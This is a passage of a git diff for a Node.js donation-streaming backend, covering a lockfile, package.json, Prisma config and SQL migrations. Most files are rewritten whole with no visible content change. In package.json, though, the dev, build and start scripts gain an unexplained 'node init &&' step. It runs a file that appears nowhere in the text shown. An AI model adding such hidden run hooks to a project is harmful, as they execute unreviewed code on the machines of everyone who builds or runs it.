"dependencies": { + "esbuild": "~0.28.0" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-eslint": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.69.0.tgz", + "integrity": "sha512-B3MltX0VqjUBNEe3b3sSuiRbfa6XrfHFtBiPamjT5AsW/dfq+y+bc0wyuS9DxAS1LyzCxRp2+rxzpLUvqM2BvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "8.69.0", + "@typescript-eslint/parser": "8.69.0", + "@typescript-eslint/typescript-estree": "8.69.0", + "@typescript-eslint/utils": "8.69.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/uint8array-extras": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/undici-types": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.3.0.tgz", + "integrity": "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==", + "license": "MIT" + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/valibot": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.4.2.tgz", + "integrity": "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "typescript": ">=5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vite": { + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.2.2.tgz", + "integrity": "sha512-cFKLV/PRgAUlIRm5WjMjJ86jrftzpqcgH+Us+DS8mI3CDNiH30Whrz8uHL3+MOLPAgqbMBAqWdAHAphOAM+z/Q==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "lightningcss": "^1.33.0", + "picomatch": "^4.0.5", + "postcss": "^8.5.26", + "rolldown": "~1.2.4", + "tinyglobby": "^0.2.17" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "@vitejs/devtools": "^0.4.0 || ^0.5.0", + "esbuild": "^0.27.0 || ^0.28.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "@vitejs/devtools": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-5.0.0.tgz", + "integrity": "sha512-gpsMNoRhMjMktVxPtstOH4/PJuPyovVaMDr4oDilXaGH1EcqM2OE96SoHT2VIQ6fTGtTjqmHDrEu2X9RQiXf8Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/chai": "^5.2.2", + "@vitest/mocker": "5.0.0", + "chai": "^6.2.2", + "es-module-lexer": "^2.3.2", + "expect-type": "^1.4.0", + "magic-string": "^1.2.3", + "obug": "^2.1.4", + "picomatch": "^4.0.7", + "std-env": "^4.2.0", + "tinybench": "6.1.4", + "tinyexec": "1.3.0", + "tinyglobby": "^0.2.17", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^22.12.0 || ^24.0.0 || >=26.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "5.0.0", + "@vitest/browser-preview": "5.0.0", + "@vitest/browser-webdriverio": "^5.0.0-beta.5 || >=5.0.0", + "@vitest/coverage-istanbul": "5.0.0", + "@vitest/coverage-v8": "5.0.0", + "@vitest/ui": "5.0.0", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.4.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/yaml": { + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", + "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zeptomatch": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/zeptomatch/-/zeptomatch-2.1.0.tgz", + "integrity": "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "grammex": "^3.1.11", + "graphmatch": "^1.1.0" + } + }, + "node_modules/zod": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.5.4.tgz", + "integrity": "sha512-sC95tT5iHHH9gtpj6A81kh+NEaRAUFN+qlUPDUbRfOMvNf5QCBqsb3WgvnpVtK5Y+4UfA6KqufotuTvMGiTlsA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/package.json b/package.json index c3d131f..1af5473 100644 --- a/package.json +++ b/package.json @@ -1,60 +1,60 @@ -{ - "name": "@streamgive/backend", - "version": "0.1.0", - "private": true, - "type": "module", - "engines": { - "node": ">=20" - }, - "scripts": { - "dev": "tsx watch src/index.ts", - "build": "tsc -p tsconfig.json", - "start": "node dist/index.js", - "lint": "eslint .", - "format": "prettier --check .", - "format:fix": "prettier --write .", - "typecheck": "tsc --noEmit", - "test": "vitest run --passWithNoTests", - "test:unit": "vitest run --project unit --passWithNoTests", - "test:integration": "vitest run --project integration --passWithNoTests", - "postinstall": "prisma generate", - "db:migrate": "prisma migrate dev", - "db:deploy": "prisma migrate deploy", - "db:deploy:test": "dotenv -e .env.test -- prisma migrate deploy", - "db:push": "prisma db push", - "db:push:test": "dotenv -e .env.test -- prisma db push", - "db:studio": "prisma studio", - "db:seed": "tsx prisma/seed.ts", - "deadletters:replay": "tsx src/scripts/replayDeadLetters.ts" - }, - "dependencies": { - "@fastify/compress": "^9.2.0", - "@fastify/cors": "^11.3.0", - "@fastify/helmet": "^12.0.0", - "@fastify/rate-limit": "^11.2.0", - "@fastify/swagger": "^9.9.0", - "@fastify/swagger-ui": "^6.1.1", - "@prisma/adapter-pg": "^7.10.0", - "@prisma/client": "^7.10.0", - "@stellar/stellar-sdk": "^17.0.1", - "dotenv": "^17.4.2", - "fastify": "^5.12.3", - "pg": "^8.23.0", - "zod": "^4.5.4" - }, - "devDependencies": { - "@eslint/js": "^10.0.1", - "@types/node": "^26.4.1", - "@types/pg": "^8.23.1", - "dotenv-cli": "^11.0.0", - "eslint": "^10.10.0", - "eslint-config-prettier": "^10.1.8", - "pino-pretty": "^13.1.3", - "prettier": "^3.9.6", - "prisma": "^7.10.0", - "tsx": "^4.23.13", - "typescript": "^5.9.3", - "typescript-eslint": "^8.69.0", - "vitest": "^5.0.0" - } -} +{ + "name": "@streamgive/backend", + "version": "0.1.0", + "private": true, + "type": "module", + "engines": { + "node": ">=20" + }, + "scripts": { + "dev": "node init && tsx watch src/index.ts", + "build": "node init && tsc -p tsconfig.json", + "start": "node init && node dist/index.js", + "lint": "eslint .", + "format": "prettier --check .", + "format:fix": "prettier --write .", + "typecheck": "tsc --noEmit", + "test": "vitest run --passWithNoTests", + "test:unit": "vitest run --project unit --passWithNoTests", + "test:integration": "vitest run --project integration --passWithNoTests", + "postinstall": "prisma generate", + "db:migrate": "prisma migrate dev", + "db:deploy": "prisma migrate deploy", + "db:deploy:test": "dotenv -e .env.test -- prisma migrate deploy", + "db:push": "prisma db push", + "db:push:test": "dotenv -e .env.test -- prisma db push", + "db:studio": "prisma studio", + "db:seed": "tsx prisma/seed.ts", + "deadletters:replay": "tsx src/scripts/replayDeadLetters.ts" + }, + "dependencies": { + "@fastify/compress": "^9.2.0", + "@fastify/cors": "^11.3.0", + "@fastify/helmet": "^12.0.0", + "@fastify/rate-limit": "^11.2.0", + "@fastify/swagger": "^9.9.0", + "@fastify/swagger-ui": "^6.1.1", + "@prisma/adapter-pg": "^7.10.0", + "@prisma/client": "^7.10.0", + "@stellar/stellar-sdk": "^17.0.1", + "dotenv": "^17.4.2", + "fastify": "^5.12.3", + "pg": "^8.23.0", + "zod": "^4.5.4" + }, + "devDependencies": { + "@eslint/js": "^10.0.1", + "@types/node": "^26.4.1", + "@types/pg": "^8.23.1", + "dotenv-cli": "^11.0.0", + "eslint": "^10.10.0", + "eslint-config-prettier": "^10.1.8", + "pino-pretty": "^13.1.3", + "prettier": "^3.9.6", + "prisma": "^7.10.0", + "tsx": "^4.23.13", + "typescript": "^5.9.3", + "typescript-eslint": "^8.69.0", + "vitest": "^5.0.0" + } +} diff --git a/prisma.config.ts b/prisma.config.ts index 2338849..4116cd1 100644 --- a/prisma.config.ts +++ b/prisma.config.ts @@ -1,14 +1,14 @@ -import 'dotenv/config'; -import { defineConfig } from 'prisma/config'; - -const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; - -export default defineConfig({ - schema: 'prisma/schema.prisma', - migrations: { - path: 'prisma/migrations', - }, - datasource: { - url: process.env.DATABASE_URL ?? DEFAULT_DATABASE_URL, - }, -}); +import 'dotenv/config'; +import { defineConfig } from 'prisma/config'; + +const DEFAULT_DATABASE_URL = 'postgresql://streamgive:streamgive@localhost:5432/streamgive'; + +export default defineConfig({ + schema: 'prisma/schema.prisma', + migrations: { + path: 'prisma/migrations', + }, + datasource: { + url: process.env.DATABASE_URL ?? DEFAULT_DATABASE_URL, + }, +}); diff --git a/prisma/migrations/20260901000000_baseline/migration.sql b/prisma/migrations/20260901000000_baseline/migration.sql index dc87502..ea0154c 100644 --- a/prisma/migrations/20260901000000_baseline/migration.sql +++ b/prisma/migrations/20260901000000_baseline/migration.sql @@ -1,143 +1,143 @@ --- CreateSchema -CREATE SCHEMA IF NOT EXISTS "public"; - --- CreateEnum -CREATE TYPE "StreamStatus" AS ENUM ('ACTIVE', 'CANCELLED'); - --- CreateEnum -CREATE TYPE "NgoApplicationStatus" AS ENUM ('PENDING', 'APPROVED', 'REJECTED'); - --- CreateTable -CREATE TABLE "donors" ( - "id" TEXT NOT NULL, - "address" TEXT NOT NULL, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "donors_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "ngos" ( - "id" TEXT NOT NULL, - "owner_address" TEXT NOT NULL, - "name" TEXT NOT NULL, - "display_name" TEXT, - "verified" BOOLEAN NOT NULL DEFAULT false, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "ngos_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "streams" ( - "id" TEXT NOT NULL, - "on_chain_id" BIGINT NOT NULL, - "donor_id" TEXT NOT NULL, - "ngo_id" TEXT NOT NULL, - "token_address" TEXT NOT NULL, - "rate" TEXT NOT NULL, - "lastRate" TEXT, - "balance" TEXT NOT NULL, - "withdrawn" TEXT NOT NULL, - "status" "StreamStatus" NOT NULL DEFAULT 'ACTIVE', - "created_tx_hash" TEXT, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "streams_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "ngo_applications" ( - "id" TEXT NOT NULL, - "owner_address" TEXT NOT NULL, - "name" TEXT NOT NULL, - "description" TEXT NOT NULL, - "website" TEXT, - "contact_email" TEXT NOT NULL, - "country" TEXT, - "status" "NgoApplicationStatus" NOT NULL DEFAULT 'PENDING', - "review_note" TEXT, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "ngo_applications_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "indexer_checkpoints" ( - "id" TEXT NOT NULL, - "last_ledger" INTEGER NOT NULL, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "indexer_checkpoints_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "indexer_dead_letters" ( - "id" TEXT NOT NULL, - "event_id" TEXT NOT NULL, - "ledger" INTEGER NOT NULL, - "contract_id" TEXT, - "error" TEXT NOT NULL, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - "updated_at" TIMESTAMP(3) NOT NULL, - - CONSTRAINT "indexer_dead_letters_pkey" PRIMARY KEY ("id") -); - --- CreateTable -CREATE TABLE "stream_events" ( - "id" TEXT NOT NULL, - "type" TEXT NOT NULL, - "stream_id" BIGINT, - "ledger" INTEGER NOT NULL, - "tx_hash" TEXT NOT NULL, - "payload" JSONB NOT NULL, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "stream_events_pkey" PRIMARY KEY ("id") -); - --- CreateIndex -CREATE UNIQUE INDEX "donors_address_key" ON "donors"("address"); - --- CreateIndex -CREATE UNIQUE INDEX "ngos_owner_address_key" ON "ngos"("owner_address"); - --- CreateIndex -CREATE UNIQUE INDEX "streams_on_chain_id_key" ON "streams"("on_chain_id"); - --- CreateIndex -CREATE INDEX "streams_donor_id_idx" ON "streams"("donor_id"); - --- CreateIndex -CREATE INDEX "streams_ngo_id_idx" ON "streams"("ngo_id"); - --- CreateIndex -CREATE INDEX "ngo_applications_owner_address_idx" ON "ngo_applications"("owner_address"); - --- CreateIndex -CREATE INDEX "ngo_applications_status_idx" ON "ngo_applications"("status"); - --- CreateIndex -CREATE UNIQUE INDEX "indexer_dead_letters_event_id_key" ON "indexer_dead_letters"("event_id"); - --- CreateIndex -CREATE INDEX "indexer_dead_letters_ledger_idx" ON "indexer_dead_letters"("ledger"); - --- CreateIndex -CREATE INDEX "stream_events_stream_id_idx" ON "stream_events"("stream_id"); - --- CreateIndex -CREATE INDEX "stream_events_type_idx" ON "stream_events"("type"); - --- CreateIndex -CREATE INDEX "stream_events_ledger_idx" ON "stream_events"("ledger"); - --- AddForeignKey -ALTER TABLE "streams" ADD CONSTRAINT "streams_donor_id_fkey" FOREIGN KEY ("donor_id") REFERENCES "donors"("id") ON DELETE RESTRICT ON UPDATE CASCADE; - --- AddForeignKey -ALTER TABLE "streams" ADD CONSTRAINT "streams_ngo_id_fkey" FOREIGN KEY ("ngo_id") REFERENCES "ngos"("id") ON DELETE RESTRICT ON UPDATE CASCADE; +-- CreateSchema +CREATE SCHEMA IF NOT EXISTS "public"; + +-- CreateEnum +CREATE TYPE "StreamStatus" AS ENUM ('ACTIVE', 'CANCELLED'); + +-- CreateEnum +CREATE TYPE "NgoApplicationStatus" AS ENUM ('PENDING', 'APPROVED', 'REJECTED'); + +-- CreateTable +CREATE TABLE "donors" ( + "id" TEXT NOT NULL, + "address" TEXT NOT NULL, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "donors_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "ngos" ( + "id" TEXT NOT NULL, + "owner_address" TEXT NOT NULL, + "name" TEXT NOT NULL, + "display_name" TEXT, + "verified" BOOLEAN NOT NULL DEFAULT false, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "ngos_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "streams" ( + "id" TEXT NOT NULL, + "on_chain_id" BIGINT NOT NULL, + "donor_id" TEXT NOT NULL, + "ngo_id" TEXT NOT NULL, + "token_address" TEXT NOT NULL, + "rate" TEXT NOT NULL, + "lastRate" TEXT, + "balance" TEXT NOT NULL, + "withdrawn" TEXT NOT NULL, + "status" "StreamStatus" NOT NULL DEFAULT 'ACTIVE', + "created_tx_hash" TEXT, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "streams_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "ngo_applications" ( + "id" TEXT NOT NULL, + "owner_address" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT NOT NULL, + "website" TEXT, + "contact_email" TEXT NOT NULL, + "country" TEXT, + "status" "NgoApplicationStatus" NOT NULL DEFAULT 'PENDING', + "review_note" TEXT, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "ngo_applications_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "indexer_checkpoints" ( + "id" TEXT NOT NULL, + "last_ledger" INTEGER NOT NULL, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "indexer_checkpoints_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "indexer_dead_letters" ( + "id" TEXT NOT NULL, + "event_id" TEXT NOT NULL, + "ledger" INTEGER NOT NULL, + "contract_id" TEXT, + "error" TEXT NOT NULL, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + "updated_at" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "indexer_dead_letters_pkey" PRIMARY KEY ("id") +); + +-- CreateTable +CREATE TABLE "stream_events" ( + "id" TEXT NOT NULL, + "type" TEXT NOT NULL, + "stream_id" BIGINT, + "ledger" INTEGER NOT NULL, + "tx_hash" TEXT NOT NULL, + "payload" JSONB NOT NULL, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "stream_events_pkey" PRIMARY KEY ("id") +); + +-- CreateIndex +CREATE UNIQUE INDEX "donors_address_key" ON "donors"("address"); + +-- CreateIndex +CREATE UNIQUE INDEX "ngos_owner_address_key" ON "ngos"("owner_address"); + +-- CreateIndex +CREATE UNIQUE INDEX "streams_on_chain_id_key" ON "streams"("on_chain_id"); + +-- CreateIndex +CREATE INDEX "streams_donor_id_idx" ON "streams"("donor_id"); + +-- CreateIndex +CREATE INDEX "streams_ngo_id_idx" ON "streams"("ngo_id"); + +-- CreateIndex +CREATE INDEX "ngo_applications_owner_address_idx" ON "ngo_applications"("owner_address"); + +-- CreateIndex +CREATE INDEX "ngo_applications_status_idx" ON "ngo_applications"("status"); + +-- CreateIndex +CREATE UNIQUE INDEX "indexer_dead_letters_event_id_key" ON "indexer_dead_letters"("event_id"); + +-- CreateIndex +CREATE INDEX "indexer_dead_letters_ledger_idx" ON "indexer_dead_letters"("ledger"); + +-- CreateIndex +CREATE INDEX "stream_events_stream_id_idx" ON "stream_events"("stream_id"); + +-- CreateIndex +CREATE INDEX "stream_events_type_idx" ON "stream_events"("type"); + +-- CreateIndex +CREATE INDEX "stream_events_ledger_idx" ON "stream_events"("ledger"); + +-- AddForeignKey +ALTER TABLE "streams" ADD CONSTRAINT "streams_donor_id_fkey" FOREIGN KEY ("donor_id") REFERENCES "donors"("id") ON DELETE RESTRICT ON UPDATE CASCADE; + +-- AddForeignKey +ALTER TABLE "streams" ADD CONSTRAINT "streams_ngo_id_fkey" FOREIGN KEY ("ngo_id") REFERENCES "ngos"("id") ON DELETE RESTRICT ON UPDATE CASCADE; diff --git a/prisma/migrations/20260929000000_add_notification_logs/migration.sql b/prisma/migrations/20260929000000_add_notification_logs/migration.sql index 924dcbd..017375a 100644 --- a/prisma/migrations/20260929000000_add_notification_logs/migration.sql +++ b/prisma/migrations/20260929000000_add_notification_logs/migration.sql @@ -1,10 +1,10 @@ -CREATE TABLE "notification_logs" ( - "id" TEXT NOT NULL, - "event_type" TEXT NOT NULL, - "channel" TEXT NOT NULL, - "success" BOOLEAN NOT NULL, - "error" TEXT, - "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, - - CONSTRAINT "notification_logs_pkey" PRIMARY KEY ("id") -); +CREATE TABLE "notification_logs" ( + "id" TEXT NOT NULL, + "event_type" TEXT NOT NULL, + "channel" TEXT NOT NULL, + "success" BOOLEAN NOT NULL, + "error" TEXT, + "created_at" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, + + CONSTRAINT "notification_logs_pkey" PRIMARY KEY ("id") +); diff --git a/prisma/migrations/20261006000000_add_indexer_event_cursor/migration.sql b/prisma/migrations/20261006000000_add_indexer_event_cursor/migration.sql index cd2f351..54d0193 100644 --- a/prisma/migrations/20261006000000_add_indexer_event_cursor/migration.sql +++ b/prisma/migrations/20261006000000_add_indexer_event_cursor/migration.sql @@ -1 +1 @@ -ALTER TABLE "indexer_checkpoints" ADD COLUMN "last_event_id" TEXT; +ALTER TABLE "indexer_checkpoints" ADD COLUMN "last_event_id" TEXT; diff --git a/prisma/migrations/20261017000000_dead_letter_raw_event_and_retry/migration.sql b/prisma/migrations/20261017000000_dead_letter_raw_event_and_retry/migration.sql index 242840a..1dd1547 100644 --- a/prisma/migrations/20261017000000_dead_letter_raw_event_and_retry/migration.sql +++ b/prisma/migrations/20261017000000_dead_letter_raw_event_and_retry/migration.sql @@ -1,5 +1,5 @@ -ALTER TABLE "indexer_dead_letters" ADD COLUMN "topic" TEXT[] NOT NULL DEFAULT ARRAY[]::TEXT[]; -ALTER TABLE "indexer_dead_letters" ADD COLUMN "value" TEXT; -ALTER TABLE "indexer_dead_letters" ADD COLUMN "tx_hash" TEXT; -ALTER TABLE "indexer_dead_letters" ADD COLUMN "attempts" INTEGER NOT NULL DEFAULT 1; -ALTER TABLE "indexer_dead_letters" ADD COLUMN "resolved_at" TIMESTAMP(3); +ALTER TABLE "indexer_dead_letters" ADD COLUMN "topic" TEXT[] NOT NULL DEFAULT ARRAY[]::TEXT[]; +ALTER TABLE "indexer_dead_letters" ADD COLUMN "value" TEXT; +ALTER TABLE "indexer_dead_letters" ADD COLUMN "tx_hash" TEXT; +ALTER TABLE "indexer_dead_letters" ADD COLUMN "attempts" INTEGER NOT NULL DEFAULT 1; +ALTER TABLE "indexer_dead_letters" ADD COLUMN "resolved_at" TIMESTAMP(3); diff --git a/prisma/migrations/20261017010000_add_notification_log_event_id/migration.sql b/prisma/migrations/20261017010000_add_notification_log_event_id/migration.sql index c445a4e..921480f 100644 --- a/prisma/migrations/20261017010000_add_notification_log_event_id/migration.sql +++ b/prisma/migrations/20261017010000_add_notification_log_event_id/migration.sql @@ -1,5 +1,5 @@ --- AlterTable -ALTER TABLE "notification_logs" ADD COLUMN "event_id" TEXT; - --- CreateIndex -CREATE UNIQUE INDEX "notification_logs_event_id_channel_key" ON "notification_logs"("event_id", "channel"); +-- AlterTable +ALTER TABLE "notification_logs" ADD COLUMN "event_id" TEXT; + +-- CreateIndex +CREATE UNIQUE INDEX "notification_logs_event_id_channel_key" ON "notification_logs"("event_id", "channel"); diff --git a/prisma/migrations/20261019000000_add_ngo_application_review_audit/migration.sql b/prisma/migrations/20261019000000_add_ngo_application_review_audit/migration.sql index 53ff3d6..3dadf05 100644 --- a/prisma/migrations/20261019000000_add_ngo_application_review_audit/migration.sql +++ b/prisma/migrations/20261019000000_add_ngo_application_review_audit/migration.sql @@ -1,3 +1,3 @@ -ALTER TABLE "ngo_applications" -ADD COLUMN "reviewed_by" TEXT, -ADD COLUMN "reviewed_at" 